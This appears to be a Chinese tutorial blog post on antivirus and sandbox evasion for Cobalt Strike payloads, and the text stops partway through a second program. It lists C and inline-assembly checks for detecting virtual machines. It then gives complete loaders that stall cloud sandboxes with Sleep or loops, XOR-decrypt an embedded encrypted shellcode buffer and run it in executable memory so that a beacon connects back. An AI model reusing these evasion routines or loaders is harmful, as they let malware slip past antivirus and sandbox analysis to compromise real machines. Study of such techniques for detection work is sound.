大难不死,必有下回。
--刚子
到今天为止,免杀技术学了好一些了,写写给自己做个留念和回忆,同时给有需要的朋友们一个帮助。由于我属于半路开发出道安全这一块,所以我尽量将我理解的底层实现逻辑给大家讲解清楚,大家多担待!
所有文件均在:
零、免杀
(一)目标
1、绕过各种杀毒软件,如360安全卫士、360杀毒、卡巴斯基、DF、火绒等
2、绕过威胁感知平台,本质为抗沙箱
3、绕过人工逆向分析,本质为抗调试
通过标题知晓本节内容,我们围绕2、3点展开我们的实验
(二)前提知识
1、什么是沙箱?
沙箱的本质就是一个虚拟环境(类似虚拟机),我们将需要检测的文件放入沙箱,沙箱就会先静态分析该文件,反编译查找潜在的恶意代码段;同时执行该文件,然后在执行中分析网络行为、进程创建调用
微步在线云沙箱:https://s.threatbook.com/
以微步在线云沙箱为例介绍分析功能:
一、实验准备
(一)设备
1、kali2023:作为cs服务器
2、win7:实验机
3、win11本机:cs服务协同者
二、实验内容
1、使用anti-sandbox项目了解反沙箱的函数和底层逻辑(该项目可以在我分享的资源中进行下载)
2.1、使用sleep函数占用云沙箱虚拟环境资源
2.2、使用额外操作占用云沙箱虚拟环境资源,如实现for操作
3、检测是否存在特定文件决定是否执行后门上线
4、检测特定ip、主机名和其他特征决定是否上线
5、任意组合2、3、4
6、在5的基础上结合shellcode加密、编码、分离技术
7、将2、3、3、4、5中生成的exe文件放在微步在线平台进行分析
三、实验过程
(一)anti-sandbox
前面说到云沙箱的本质就是将上传的文件在虚拟环境中进行动态运行、静态分析的操作,所以我们反沙箱的原理就是要区分真实机和虚拟环境存在的区别。
在anti-sandbox项目中(由于该项目中存在些许不是特别合理部分,暂不采纳)
1、检测是否为Admin身份运行(window中函数IsUserAnAdmin())
// 检查是否为管理员身份运行
BOOL isAdmin(){
BOOL bElevated = FALSE;
HANDLE hToken = NULL;
// 获取当前进程通信令牌Token
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
return FALSE;
TOKEN_ELEVATION tokenEle;
DWORD dwRetLen = 0;
// 判断当前进程是否为管理员身份运行
if (GetTokenInformation(hToken, TokenElevation, &tokenEle, sizeof(tokenEle), &dwRetLen)){
if (dwRetLen == sizeof(tokenEle)){
bElevated = tokenEle.TokenIsElevated;
}
}
//关闭句柄hToken
CloseHandle(hToken);
return bElevated;
}
若检测属于管理员身份(以下执行均需要管理员身份)
1.1检查CPU温度信息
获取当前CPU温度,虚拟环境中CPU温度参数为0
1.2检查物理硬盘大小信息
获取当前主机硬盘大小,与自定义大小进行比较。虚拟环境分配的硬盘大小偏小
1.3检查相关路径信息 (检测VMware或者Oracle)
对于注册表检测是否存在安装后必要信息
对于目录检测默认虚拟机默认安装目录
// 检测注册表和文件路径(可能需要管理员权限)
BOOL checkPath()
{
HKEY hkey;
//注册表信息
if (RegOpenKeyA(HKEY_CLASSES_ROOT, "\\Applications\\VMwareHostOpen.exe", &hkey) == ERROR_SUCCESS ||
RegOpenKeyA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Oracle\\VirtualBox Guest Additions", &hkey) == ERROR_SUCCESS)
{
return TRUE;
}
// 文件夹路径
if (!PathIsDirectoryA("C:\\Program Files\\VMware\\VMware Tools\\") ||
!PathIsDirectoryA("C:\\Program Files\\Oracle\\VirtualBox Guest Additions\\"))
{
return TRUE;
}
return FALSE;
}
未检查到管理员身份
2、检测CPU核数 对于现在的真实机一般在8核或以上,但是我们在创建虚拟机时核数一般达不到
// 检查CPU核心数
BOOL checkCPUCores(INT cores){
INT i = 0;
//该下操作表示使用汇编获取当前主机的CPU数
_asm { // x64编译模式下不支持__asm的汇编嵌入
mov eax, dword ptr fs : [0x18]; // TEB 线程控制块
mov eax, dword ptr ds : [eax + 0x30]; // PEB 进程控制块
mov eax, dword ptr ds : [eax + 0x64];// CPU 数量
// 将eax赋值给i
mov i, eax;
}
return (i < cores);
}
3、检测域环境 源代码中实际检测主机是否属于workgroup工作组,但是主机是否为该工作组和是否为VM环境没有特别联系,此点值得商榷
// 检测工作组名称
BOOL checkDomain()
{
BOOL ret = FALSE;
DWORD dwLevel = 100;
LPWKSTA_INFO_100 pBuf = NULL;
NET_API_STATUS nStatus;
nStatus = NetWkstaGetInfo(NULL, dwLevel, (LPBYTE *)&pBuf);
if (nStatus == NERR_Success)
{
char response[512];
// 获取该主机的工作组名称
wcstombs(response, pBuf->wki100_langroup, 500);
// 设置比较字符"WORKGROUP"
char workgroup[] = "WORKGROUP";
// 比较逻辑
if (strcmp(response, workgroup))
{
ret = TRUE;
}
else
{
ret = FALSE;
}
}
return ret;
}
4、检测MAC地址
// 检测MAC地址
// 00:05:69、00:0c:29、00:50:56开始的MAC地址与VMware相对应
// 00:03:ff开始的MAC地址与virtualpc对应
// 08:00:27开始的MAC地址与virtualbox对应
BOOL checkMAC() {
BOOL bRet = FALSE;
do
{
char buffer[128];
char result[1024 * 50] = "";
// 虚拟机默认分配MAC地址前24位如下
char MAC[5][9] = { "08-00-27", "00-03-FF", "00-05-69", "00-0C-29", "00-50-56" };
// 使用_popen命令执行管道返回执行后内容
//执行命令 ipconfig /all 获取当前主机所有网卡信息
FILE *pipe = _popen("ipconfig /all", "r");
if (!pipe){
break;
}
while (!feof(pipe)){
if (fgets(buffer, 128, pipe)){
strcat(result, buffer);
}
}
_pclose(pipe);
//比较
for (int i = 0; i < 5; ++i){
if (strstr(result, MAC[i])){
bRet = TRUE;
break;
}
}
}while (FALSE);
return bRet;
}
5、检查内存大小信息 比较逻辑和前面比较硬盘大小一致
// 检测内存大小
BOOL checkMemory(INT memory) {
_MEMORYSTATUSEX mst;
mst.dwLength = sizeof(mst);
GlobalMemoryStatusEx(&mst);
//与传入参数memory进行比较 GB
if (mst.ullTotalPhys / (1024.0 * 1024 * 1024) < memory) {
return TRUE;
}
else{
return FALSE;
}
}
6、检查进程信息 检测所有进程中是否存在list中存在内容
不过此点存在缺陷,对于安装vmware且在运行的主机一定会存在vmware.exe进程,出现误报
// 检测所有进程中是否存在list中存在内容
BOOL checkProcess() {
const char* list[4] = { "VBoxService.exe", "VBoxTray.exe", "vmware.exe", "vmtoolsd.exe" };
//通常,PROCESSENTRY32结构体与CreateToolhelp32Snapshot函数和Process32First、Process32Next函数一起使用
//来遍历系统中的所有进程并获取它们的详细信息。
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
BOOL bResult = Process32First(hProcessSnap, &pe32);
while (bResult)
{
char sz_Name[MAX_PATH] = { 0 };
WideCharToMultiByte(CP_ACP, 0, pe32.szExeFile, -1, sz_Name, sizeof(sz_Name), NULL, NULL);
for (int i = 0; i < 4; ++i)
{
if (strcmp(sz_Name, list[i]) == 0)
{
return TRUE;
}
}
bResult = Process32Next(hProcessSnap, &pe32);
}
return FALSE;
}
7、检查服务信息 获取当前所有服务,是否存在只有虚拟环境中才出现的服务
// 检测服务
BOOL checkSerivce()
{
int menu = 0;
// 打开系统服务控制器
SC_HANDLE SCMan = OpenSCManager(NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE);
if (SCMan == NULL)
{
return -1;
}
// 保存系统服务的结构
LPENUM_SERVICE_STATUSA service_status;
DWORD cbBytesNeeded = NULL;
DWORD ServicesReturned = NULL;
DWORD ResumeHandle = NULL;
service_status = (LPENUM_SERVICE_STATUSA)LocalAlloc(LPTR, 1024 * 64);
// 获取系统服务的简单信息
bool ESS = EnumServicesStatusA(SCMan, //系统服务句柄
SERVICE_WIN32, //服务的类型
SERVICE_STATE_ALL, //服务的状态
(LPENUM_SERVICE_STATUSA)service_status, //输出参数,系统服务的结构
1024 * 64, //结构的大小
&cbBytesNeeded, //输出参数,接收返回所需的服务
&ServicesReturned, //输出参数,接收返回服务的数量
&ResumeHandle //输入输出参数,第一次调用必须为0,返回为0代表成功
);
// 是否获取成功,不成功退出返回-1
if (ESS == NULL)
{
return -1;
}
for (DWORD i = 0; i < ServicesReturned; i++)
{
//比较内容
if (strstr(service_status[i].lpDisplayName, "VMware Tools") != NULL || strstr(service_status[i].lpDisplayName, "VMware 物理磁盘助手服务") != NULL || strstr(service_status[i].lpDisplayName, "Virtual Machine") != NULL || strstr(service_status[i].lpDisplayName, "VirtualBox Guest") != NULL)
{
return TRUE;
}
}
//关闭服务管理器的句柄
CloseServiceHandle(SCMan);
return FALSE;
}
8、检查主机运行时间信息 对于沙箱虚拟环境,不可能一直开启,所以可以设置时间节点判断启动时间不足的为虚拟机
但是由于不知道各个环境的沙箱使用环境,此点过于主观
// 检测启动自今的时间
BOOL checkUptime(DWORD msTime)
{
DWORD UpTime = GetTickCount();
if (UpTime < msTime)
{
return TRUE;
}
else
{
return FALSE;
}
}
9、检查CPUID信息
当EAX=1时,CPUID的ECX中HYPERV_HYPERVISOR_PRESENT_BIT标识是否在虚拟环境中
// 使用CPUID指令
// 当EAX=1时,CPUID的ECX中HYPERV_HYPERVISOR_PRESENT_BIT标识是否在虚拟环境中
BOOL checkCPUID()
{
DWORD dw_ecx;
bool bFlag = true;
_asm {
pushad; // 将32位通用寄存器压入堆栈
pushfd; // 将32位标志寄存器EFLAGS压入堆栈
mov eax, 1; // 将1送入eax寄存器
cpuid; // 根据传递给EAX寄存器的值,将对应的信息返回给EAX、EBX、ECX、EDX
mov dw_ecx, ecx; // 特征信息
and ecx, 0x80000000; //虚拟机监控程序”或“管理程序”在物理环境总是为0 即 HYPERV_HYPERVISOR_PRESENT_BIT 为0
test ecx, ecx; // AND为0的话ZF=1
setz[bFlag]; // ZF为1的话bFlag=1
popfd;
popad;
}
if (bFlag) // 真实机器
{
return FALSE;
}
else
{
return TRUE;
}
}
10、检查临时文件夹数量信息
遍历临时文件数量与自定义数量比较
由于虚拟环境一般临时文件不多,所以可以作为参考条件
// 检测TEMP目录下的文件数量
BOOL checkTempDir(INT aNum)
{
int file_count = 0;
DWORD dwRet;
LPSTR pszOldVal;
pszOldVal = (LPSTR)malloc(MAX_PATH * sizeof(char));
dwRet = GetEnvironmentVariableA("TEMP", pszOldVal, MAX_PATH);
std::string stdstr = pszOldVal;
stdstr += "\\*";
LPSTR s = const_cast<char *>(stdstr.c_str());
WIN32_FIND_DATAA data;
HANDLE hFind = FindFirstFileA(s, &data);
if (hFind != INVALID_HANDLE_VALUE)
{
do
{
file_count++;
} while (FindNextFileA(hFind, &data));
FindClose(hFind);
}
if (file_count < aNum)
{
return TRUE;
}
else
{
return FALSE;
}
}
11、检查硬盘信息 通过查询和虚拟机相关字符串判断是否运行在虚拟环境
string::npos表示find等查找函数未找到相关内容
BOOL checkHardwareInfo()
{
BOOL bRet = TRUE;
do
{
string ret;
//ManageWMIInfo函数 查看Win32_BaseBoard类中相关属性中是否存在相关字符串
//L包裹表示该字符为宽字节
ManageWMIInfo(ret, "Win32_BaseBoard", L"SerialNumber");
if (ret == "None")
{
break;
}
ManageWMIInfo(ret, "Win32_DiskDrive", L"Caption");
if (ret.find("VMware") != string::npos || ret.find("VBOX") != string::npos || ret.find("Virtual HD") != string::npos)
{
break;
}
ManageWMIInfo(ret, "Win32_computersystem", L"Model");
if (ret.find("VMware") != string::npos || ret.find("VirtualBox") != string::npos || ret.find("Virtual Machine") != string::npos)
{
break;
}
bRet = FALSE;
} while (FALSE);
return bRet;
}
12、检查速度信息
此处使用eax寄存器存储起始运行时间点,ebx存储结束运行时间点,相减后将结果存放在eax中与传入的参数td比较
但是这一点我并不清楚为何虚拟环境和真实主机在这方面存在差异
// 检测代码运行时间差(需指定时间差)
BOOL checkSpeed(INT td)
{
__asm
{
;rdtsc(Read Time Stamp Counter)读时间戳
rdtsc
xchg ebx, eax
rdtsc
sub eax, ebx
cmp eax, td // 0xe
jg detected
}
return FALSE;
detected:
return TRUE;
}
13、NoPill技术探测
使用sgdt和sldt指令探测VMware的技术通常被称为No Pill
// 使用sgdt和sldt指令探测VMware的技术通常被称为No Pill
// 通过禁用VMware加速可以防止No Pill技术的探测
BOOL checkNoPill()
{
ULONG xdt = 0;
ULONG InVM = 0;
__asm
{
push edx
sidt[esp - 2] // 将中断描述符表寄存器IDTR的内容存入指定地址单元
pop edx
nop
mov xdt, edx
}
if (xdt > 0xd0000000)
{
InVM = 1;
}
__asm
{
push edx
sgdt[esp - 2] // 将全局描述符表格寄存器GDTR的内容存入指定地址单元
pop edx
nop
mov xdt, edx
}
if (xdt > 0xd0000000)
{
InVM += 1;
}
if (InVM == 0)
{
return FALSE;
}
else
{
return TRUE;
}
}
14、检查输出输入IO管道信息
// 检测IO端口
// VMware会监视in指令的执行,并捕获目的通信端口为0x5668(VX)的I/O
// VMware会检查第二个操作数是否是VX,在这种情况发生时
// EAX寄存器载入的值是0x564D5868(VMXh)
// ECX寄存器为在端口上执行相应操作的值
// 0xA:get VMware version type
// 0x14:get the memory size
// 则EBX为magic数VMXh,ECX为版本号
// 在真实机器上运行会触发EXCEPTION_EXECUTE_HANDLER异常
// https://www.aldeid.com/wiki/VMXh-Magic-Value
BOOL checkIOPort()
{
bool rc = true;
__try
{
__asm
{
push edx
push ecx
push ebx
mov eax, 'VMXh'
mov ebx, 0
mov ecx, 10
mov edx, 'VX'
in eax, dx // 从一个源操作数指定的端口dx复制数据到目的操作数指定的内存地址
cmp ebx, 'VMXh'
setz[rc]
pop ebx
pop ecx
pop edx
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
rc = false;
}
return rc;
}
15、检查TSS信息
检查存储在mem中的数据的前两个字节。如果第一个字节为0x00且第二个字节为0x40,则认为处于虚拟机环境中,返回TRUE。
// 检查当前正在运行的任务的任务状态段(TSS)
// 在保护模式下运行的程序在切换任务时,当前任务中指向TSS的段选择器将会被存储在任务寄存器(TR)中
// 在虚拟机和真实主机之中,通过STR读取的地址是不同的,当地址等于0x0040xxxx时,说明处于虚拟机中
// VMware
BOOL checkTSS()
{
unsigned char mem[4] = { 0 };
__asm str mem; // 将任务寄存器(TR)中的段选择器存储到目标操作数
if ((mem[0] == 0x00) && (mem[1] == 0x40))
{
return TRUE;
}
else
{
// 0x40000000
return FALSE;
}
}
(二)联合上线(以下所有方法均可以上线,只是未展示)
同时我们逐层递进
1、使用sleep函数延迟跨过云沙箱的检测时间(设置10min,自测可以再缩短至5min)
#include <iostream>
//使用Sleep函数
#include <windows.h>
//隐藏命令行黑框
#pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" )
using namespace std;
//函数声明
void mySleep(int sleepTime);
int main() {
//0、mySleep
//使用sleep函数进行延迟跨过云沙箱执行时间
//由于不知道确切的时间,我们取10分钟为限进行测试
int sleepTime = 600000;
cout << "睡眠开始" << endl;
mySleep(sleepTime);
cout << "睡眠结束" << endl;
//消息框
//MessageBox(NULL, L"Hello!", L"Notice", MB_OK);
//
//执行阶段 仅需修改my_key和buf即可
//1、准备
char my_key[] = "antiVirtualEnviHnust";
//此处可以将shellcode修改成data
unsigned char buf[] = "\x9d\x26\xf7\x8d\xa6\x81\xba\x74\x75\x61\x2d\x14\x2f\x26\x3b\x19\x38\x3d\x42\xa6\x65\x29\xe5\x26\x9\x1e\xe2\x20\x6c\x3d\xea\x3e\x65\x26\xfd\x1b\x18\x26\x7a\xc4\x3e\x4a\x2c\x5f\xbd\x21\x67\xa9\xde\x48\x14\x1d\x6e\x69\x4e\x37\xa8\x81\x63\x34\x72\xb5\xe2\x8c\x3c\x35\x38\x1e\xe2\x20\x54\xfe\x23\x50\xd\x6f\xa6\xf\xc9\x16\x6d\x78\x76\x75\x13\xe5\xf4\xe1\x56\x69\x72\x3c\xf0\xa1\x18\x22\x26\x77\xb9\x18\xe5\x3d\x6b\x30\x8b\x21\x4e\x3d\x68\x86\x8a\x24\x3c\x8a\xa8\x2d\xce\x5a\xfe\x21\x49\xb8\x38\x42\xbd\x48\x50\xae\xd8\x28\x97\xa0\x7f\x35\x74\xa0\x54\xa5\x1b\x87\x25\x4b\x22\x51\x7b\x31\x39\xb0\x1b\xac\x31\x12\xe2\x32\x50\x3c\x60\xbc\x23\x2f\xfd\x65\x0\x2a\xfe\x33\x68\x49\x60\xbe\x35\xe2\x52\xe1\x3a\x75\xa5\x20\x34\x4\x36\x28\x30\x12\x2f\x2d\x32\x2d\x41\x3b\x26\xf7\x85\x76\x28\x20\x8b\x95\x39\x2d\x1c\x34\x3e\xe2\x5a\x87\x3a\x8c\x8b\xff\x3c\x4\x74\x20\xe8\x1e\x1b\x1a\x1c\xf\x9\x31\x6e\x37\x3f\x1\xe7\x93\x3f\xfd\xf1\x20\xd4\x38\x1e\x70\x6e\x8d\xa1\x3d\x50\xa5\xd\x5f\xa4\x24\x79\xae\x38\x42\xbd\x41\x31\x2f\x24\x28\xec\x53\x24\xd\xd2\x9e\xb9\xae\x1d\x2c\x21\xc1\xaf\x34\xcb\xec\x1f\x61\x6e\x39\x58\x9f\x28\x23\x35\x24\xb\x6f\x4\x3f\x37\xd3\x1f\xe7\xea\xb5\x8b\xd5\x8a\x37\x2f\x21\xdf\xa8\x3a\x45\xa7\x28\xe5\x9d\x23\x47\xa0\x1a\x6\x75\x71\x34\x84\x33\x3c\x35\xd3\xbd\x3c\x5c\x4f\x8a\xb4\x24\xcc\xa8\x3e\xea\x8b\x3e\x1f\x79\x2b\x48\xe8\x9f\x3c\xe0\x8c\x20\xb5\xb4\x8a\x9e\x93\xba\x23\x47\xa0\x1a\x3c\x34\xc9\x59\x6\x79\x15\x8b\xbc\xd3\xa9\x7d\xf1\xe8\x60\x6c\x45\x26\x89\xa6\x47\xea\xf9\x72\x74\x0\x8a\xbd\x9d\x8d\x57\x69\x72\x9c\xd7\x9e\x93\xba\x41\x32\x1\x27\x2c\x75\x51\x34\x42\x10\x94\xb2\x29\x35\x8a\x9a\x74\x38\x8e\x4b\x6b\x35\x5\x2a\xb1\xd4\xf1\xa9\xc4\xd1\x7\xa6\x50\x3\xd8\xeb\xa3\x95\x3f\xfe\xda\x9f\xf7\xd\x5e\x29\x50\x7d\xdd\x17\x1c\xe0\x87\x18\x35\x69\x98\x1e\x8f\xe3\x4d\x95\x83\x64\xf7\x9d\xc0\xa9\xc2\x57\x86\xb0\x5b\x9b\x4a\xfe\xf8\x74\xaf\x74\x20\x12\x9\x37\x43\x37\xe\x2d\x0\x1\x49\x54\x4d\xe\x14\x1d\x5\x3a\x8\x5d\x40\x5b\x51\x4c\x6d\xd\x19\x4\x38\xf\x1\x1a\x16\x6c\x4\x55\x54\x24\x5\x20\x37\x54\x4d\x4f\x5c\x7e\x4e\x21\x0\x26\xa\x1a\x4\x7\x20\x2f\x3a\x54\x5f\x78\x59\x49\x54\x21\x13\x5\x21\xb\x18\x1d\x67\x5a\x5b\x43\x5d\xd\x6b\x6e\xf2\x26\x6\x52\xca\x91\x9d\x73\xc6\x6b\x86\xd3\x26\x67\x95\xd1\x86\xb5\xd5\x41\x3f\xf8\x4b\xa5\x4b\x1a\xa2\xb2\xe6\x7b\xfb\x2c\xf\x9e\xd9\xe\xc6\x24\xa9\x80\x81\xf1\x29\xf0\xb5\xf3\x45\x78\x81\x15\x37\xb9\x2e\x5f\x7a\xec\x98\xb6\x13\x65\x32\x31\x90\xe4\x27\x21\xf3\x18\xd\xdd\x18\xe4\x84\xc9\xde\x98\x71\x8a\xc5\xc7\x7\xb6\x8\xa8\x7c\xf8\xfc\x8c\x55\x46\xf7\x9b\x20\xf4\x74\xff\x74\x76\x2d\x85\x92\x8a\x3\xe0\xcc\xa4\xa8\xc0\xd3\x50\xb4\xc0\x87\x78\x6\x3d\x80\xb9\x71\x81\xb0\x6f\xc9\x23\x68\x1\xa6\x6e\xc6\x2f\x74\x3b\x76\xea\x2c\xc3\x7f\xf4\x3\xc1\x76\x91\xef\x15\x4d\xce\x87\x97\xf0\xf4\xbe\x96\xfa\xcf\xb1\xfd\xb6\x20\x86\xc6\xda\xb8\xf7\xdb\xbf\xb7\x9a\x56\x3f\x76\x88\x88\xd8\x6e\x28\xb8\xf3\xc4\xd7\xf6\x27\x45\x8b\x93\x2d\xa4\x0\x38\xf5\xfb\x2a\x13\x97\xfe\x4d\x2a\xc5\x98\x4a\x95\x27\x40\x8c\x3\x1\xa1\x7a\x6c\xb4\x81\xa6\x2c\xdc\x5c\xd1\xa4\x96\x60\xad\xc3\x1a\x9c\x2f\xb8\x72\x75\x32\xca\xf0\xd4\xcc\x22\x96\x83\x21\x43\xbd\xcf\x61\x6c\x5\x6e\x37\xd1\x48\x7e\x75\x73\x35\xb9\x21\x6e\x74\x69\x17\xd3\x2a\xd0\x26\x84\x93\x90\x26\xe5\x3a\x1b\x26\xfc\x94\x3c\x89\x90\x26\xfd\xb3\x17\xd1\x72\x54\x75\x61\x25\xcc\x97\x37\xd3\x5a\xf8\xfc\x91\x8b\xd5\x29\xed\xb0\x49\xd3\xa9\x6\xc2\x13\xea\x6b\xd\x6f\xb5\xec\x88\x1b\xa2\x2b\x2c\x58\x29\x6b\x74\x69\x56\x69\x22\xb7\x9d\xfe\x91\xba\x91\x47\x50\x7a\x40\x44\x45\x4c\x2e\x50\x5d\x5a\x58\x62\x5f\x72\x63\x25\x4\x86\x45";
//2、解密
//设置数据字符长度
int data_length = sizeof(buf);
//设置密钥字符长度
int key_length = sizeof(my_key);
for (int i = 0; i < data_length; i++) {
buf[i] ^= my_key[i % key_length];
}
//3、上线
//VirtualAlloc函数创建一片内存区域
LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 将buf数组中的内容复制到刚刚分配的内存中
// 本质为memmove函数
RtlMoveMemory(pMemory, buf, sizeof(buf));
// 创建一个新的线程来执行内存中的代码
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);
// 等待新创建的线程执行完成
WaitForSingleObject(hThread, INFINITE);
return 0;
}
//睡眠函数
void mySleep(int sleepTime) {
//sleep接受一个参数表示睡眠时间 单位毫秒
//10分钟 = 10 * 60 * 1000 600000
Sleep(sleepTime);
return;
}
我们可以看到此处云沙箱扫描是存在时间限制的,只是此处我们使用cs被记录了特征,所以后续可以尝试修改cs特征再次尝试绕过云沙箱反调试
此处我们也可以看到云沙箱并未查找我们的危险网络活动,全部被加入了白名单
2、使用for循环延迟跨国云沙箱的检测时间
#include <iostream>
//使用Sleep函数
#include <windows.h>
using namespace std;
//函数声明
void myFuncFor(long long loopTimes);
int main() {
//0、mySleep
//循环1000 000 000 00 双重循环10^22次方
//太多了 18次方试试 4次方
long long loopTimes = 10000;
cout << "循环开始" << endl;
myFuncFor(loopTimes);
cout << "循环结束" << endl;
//执行阶段 仅需修改my_key和buf即可
//1、准备
char my_key[] = "antiVirtualEnviHnust";
unsigned char buf[] = "\x9d\x26\xf7\x8d\xa6\x81\xba\x74\x75\x61\x2d\x14\x2f\x26\x3b\x19\x38\x3d\x42\xa6\x65\x29\xe5\x26\x9\x1e\xe2\x20\x6c\x3d\xea\x3e\x65\x26\xfd\x1b\x18\x26\x7a\xc4\x3e\x4a\x2c\x5f\xbd\x21\x67\xa9\xde\x48\x14\x1d\x6e\x69\x4e\x37\xa8\x81\x63\x34\x72\xb5\xe2\x8c\x3c\x35\x38\x1e\xe2\x20\x54\xfe\x23\x50\xd\x6f\xa6\xf\xc9\x16\x6d\x78\x76\x75\x13\xe5\xf4\xe1\x56\x69\x72\x3c\xf0\xa1\x18\x22\x26\x77\xb9\x18\xe5\x3d\x6b\x30\x8b\x21\x4e\x3d\x68\x86\x8a\x24\x3c\x8a\xa8\x2d\xce\x5a\xfe\x21\x49\xb8\x38\x42\xbd\x48\x50\xae\xd8\x28\x97\xa0\x7f\x35\x74\xa0\x54\xa5\x1b\x87\x25\x4b\x22\x51\x7b\x31\x39\xb0\x1b\xac\x31\x12\xe2\x32\x50\x3c\x60\xbc\x23\x2f\xfd\x65\x0\x2a\xfe\x33\x68\x49\x60\xbe\x35\xe2\x52\xe1\x3a\x75\xa5\x20\x34\x4\x36\x28\x30\x12\x2f\x2d\x32\x2d\x41\x3b\x26\xf7\x85\x76\x28\x20\x8b\x95\x39\x2d\x1c\x34\x3e\xe2\x5a\x87\x3a\x8c\x8b\xff\x3c\x4\x74\x20\xe8\x1e\x1b\x1a\x1c\xf\x9\x31\x6e\x37\x3f\x1\xe7\x93\x3f\xfd\xf1\x20\xd4\x38\x1e\x70\x6e\x8d\xa1\x3d\x50\xa5\xd\x5f\xa4\x24\x79\xae\x38\x42\xbd\x41\x31\x2f\x24\x28\xec\x53\x24\xd\xd2\x9e\xb9\xae\x1d\x2c\x21\xc1\xaf\x34\xcb\xec\x1f\x61\x6e\x39\x58\x9f\x28\x23\x35\x24\xb\x6f\x4\x3f\x37\xd3\x1f\xe7\xea\xb5\x8b\xd5\x8a\x37\x2f\x21\xdf\xa8\x3a\x45\xa7\x28\xe5\x9d\x23\x47\xa0\x1a\x6\x75\x71\x34\x84\x33\x3c\x35\xd3\xbd\x3c\x5c\x4f\x8a\xb4\x24\xcc\xa8\x3e\xea\x8b\x3e\x1f\x79\x2b\x48\xe8\x9f\x3c\xe0\x8c\x20\xb5\xb4\x8a\x9e\x93\xba\x23\x47\xa0\x1a\x3c\x34\xc9\x59\x6\x79\x15\x8b\xbc\xd3\xa9\x7d\xf1\xe8\x60\x6c\x45\x26\x89\xa6\x47\xea\xf9\x72\x74\x0\x8a\xbd\x9d\x8d\x57\x69\x72\x9c\xd7\x9e\x93\xba\x41\x32\x1\x27\x2c\x75\x51\x34\x42\x10\x94\xb2\x29\x35\x8a\x9a\x74\x38\x8e\x4b\x6b\x35\x5\x2a\xb1\xd4\xf1\xa9\xc4\xd1\x7\xa6\x50\x3\xd8\xeb\xa3\x95\x3f\xfe\xda\x9f\xf7\xd\x5e\x29\x50\x7d\xdd\x17\x1c\xe0\x87\x18\x35\x69\x98\x1e\x8f\xe3\x4d\x95\x83\x64\xf7\x9d\xc0\xa9\xc2\x57\x86\xb0\x5b\x9b\x4a\xfe\xf8\x74\xaf\x74\x20\x12\x9\x37\x43\x37\xe\x2d\x0\x1\x49\x54\x4d\xe\x14\x1d\x5\x3a\x8\x5d\x40\x5b\x51\x4c\x6d\xd\x19\x4\x38\xf\x1\x1a\x16\x6c\x4\x55\x54\x24\x5\x20\x37\x54\x4d\x4f\x5c\x7e\x4e\x21\x0\x26\xa\x1a\x4\x7\x20\x2f\x3a\x54\x5f\x78\x59\x49\x54\x21\x13\x5\x21\xb\x18\x1d\x67\x5a\x5b\x43\x5d\xd\x6b\x6e\xf2\x26\x6\x52\xca\x91\x9d\x73\xc6\x6b\x86\xd3\x26\x67\x95\xd1\x86\xb5\xd5\x41\x3f\xf8\x4b\xa5\x4b\x1a\xa2\xb2\xe6\x7b\xfb\x2c\xf\x9e\xd9\xe\xc6\x24\xa9\x80\x81\xf1\x29\xf0\xb5\xf3\x45\x78\x81\x15\x37\xb9\x2e\x5f\x7a\xec\x98\xb6\x13\x65\x32\x31\x90\xe4\x27\x21\xf3\x18\xd\xdd\x18\xe4\x84\xc9\xde\x98\x71\x8a\xc5\xc7\x7\xb6\x8\xa8\x7c\xf8\xfc\x8c\x55\x46\xf7\x9b\x20\xf4\x74\xff\x74\x76\x2d\x85\x92\x8a\x3\xe0\xcc\xa4\xa8\xc0\xd3\x50\xb4\xc0\x87\x78\x6\x3d\x80\xb9\x71\x81\xb0\x6f\xc9\x23\x68\x1\xa6\x6e\xc6\x2f\x74\x3b\x76\xea\x2c\xc3\x7f\xf4\x3\xc1\x76\x91\xef\x15\x4d\xce\x87\x97\xf0\xf4\xbe\x96\xfa\xcf\xb1\xfd\xb6\x20\x86\xc6\xda\xb8\xf7\xdb\xbf\xb7\x9a\x56\x3f\x76\x88\x88\xd8\x6e\x28\xb8\xf3\xc4\xd7\xf6\x27\x45\x8b\x93\x2d\xa4\x0\x38\xf5\xfb\x2a\x13\x97\xfe\x4d\x2a\xc5\x98\x4a\x95\x27\x40\x8c\x3\x1\xa1\x7a\x6c\xb4\x81\xa6\x2c\xdc\x5c\xd1\xa4\x96\x60\xad\xc3\x1a\x9c\x2f\xb8\x72\x75\x32\xca\xf0\xd4\xcc\x22\x96\x83\x21\x43\xbd\xcf\x61\x6c\x5\x6e\x37\xd1\x48\x7e\x75\x73\x35\xb9\x21\x6e\x74\x69\x17\xd3\x2a\xd0\x26\x84\x93\x90\x26\xe5\x3a\x1b\x26\xfc\x94\x3c\x89\x90\x26\xfd\xb3\x17\xd1\x72\x54\x75\x61\x25\xcc\x97\x37\xd3\x5a\xf8\xfc\x91\x8b\xd5\x29\xed\xb0\x49\xd3\xa9\x6\xc2\x13\xea\x6b\xd\x6f\xb5\xec\x88\x1b\xa2\x2b\x2c\x58\x29\x6b\x74\x69\x56\x69\x22\xb7\x9d\xfe\x91\xba\x91\x47\x50\x7a\x40\x44\x45\x4c\x2e\x50\x5d\x5a\x58\x62\x5f\x72\x63\x25\x4\x86\x45";
//2、解密
//设置数据字符长度
int data_length = sizeof(buf);
//设置密钥字符长度
int key_length = sizeof(my_key);
for (int i = 0; i < data_length; i++) {
buf[i] ^= my_key[i % key_length];
}
//3、上线
//VirtualAlloc函数创建一片内存区域
LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 将buf数组中的内容复制到刚刚分配的内存中
// 本质为memmove函数
RtlMoveMemory(pMemory, buf, sizeof(buf));
// 创建一个新的线程来执行内存中的代码
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);
// 等待新创建的线程执行完成
WaitForSingleObject(hThread, INFINITE);
return 0;
}
//fun函数
void myFuncFor(long long loopTimes) {
for (long long i = 0; i < loopTimes;i++) {
printf("-\n");
